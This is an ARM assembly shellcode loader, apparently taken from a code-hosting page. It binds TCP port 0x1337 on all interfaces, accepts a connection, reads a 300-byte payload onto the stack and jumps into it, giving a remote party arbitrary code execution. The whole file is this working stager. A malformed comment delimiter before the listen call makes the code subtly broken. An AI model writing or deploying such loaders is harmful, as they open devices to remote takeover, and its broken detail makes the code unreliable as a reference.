99 lines
2 KiB
ArmAsm
Executable file
99 lines
2 KiB
ArmAsm
Executable file
/*
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* Title: arm-loader
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* Brief: Bind port 0x1337 on any local interface, listen for a connection
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* receive a payload, and pass execution to it
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* Author: Daniel Godas-Lopez <gmail account dgodas>
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*/
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/*
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soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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*/
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mov %r0, $2 /* AF_INET */
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mov %r1, $1 /* SOCK_STREAM */
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mov %r2, $6 /* IPPRTOTO_TCP */
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push {%r0, %r1, %r2}
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mov %r0, $1 /* socket */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $12
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mov %r6, %r0 /* r6 = soc_des */
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/*
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bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
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*/
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.if 0 /* r0 == r6 already */
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mov %r0, %r6 /* soc_des */
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.endif
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mov %r1, $0x37
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mov %r7, $0x13
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mov %r1, %r1, lsl $24
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add %r1, %r7, lsl $16
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add %r1, $2 /* port = 0x1337, family = 2 (AF_INET) */
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sub %r2, %r2, %r2 /* addr = 0.0.0.0 */
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push {%r1, %r2}
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mov %r1, %sp /* pointer to sockaddr_in */
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mov %r2, $16 /* sizeof(struct sockaddr_in) */
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push {%r0, %r1, %r2}
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mov %r0, $2 /* bind */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $20
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/*
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listen(soc_des, 1);
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/*
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mov %r1, $1 /* backlog (see man 2 listen) */
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mov %r0, %r6 /* soc_des */
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push {%r0, %r1}
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mov %r0, $4 /* listen */
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mov %r1, %sp
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svc 0x00900066
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add %sp, $8
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/*
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soc_cli = accept(soc_des, 0, 0);
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*/
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mov %r0, %r6 /* soc_des */
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sub %r1, %r1, %r1
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sub %r2, %r2, %r2
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push {%r0, %r1, %r2}
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mov %r0, $5 /* accept */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $12
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mov %r6, %r0 /* r6 = soc_cli */
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/*
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recv(soc_des, buff, len, flags);
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*/
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sub %r4, %sp, $316 /* buffer on the stack + 16 bytes padding */
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sub %r5, %r5, %r5 /* byte count */
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1: mov %r0, %r6
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add %r1, %r4, %r5 /* dst pointer */
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mov %r2, $300 /* 300 bytes */
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mov %r3, $256 /* MSG_WAITALL */
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push {%r0, %r1, %r2, %r3}
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mov %r0, $10 /* recv */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $16
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add %r5, %r0
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cmp %r5, $300
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bne 1b
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/*
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Jump into code
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*/
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mov %pc, %r4
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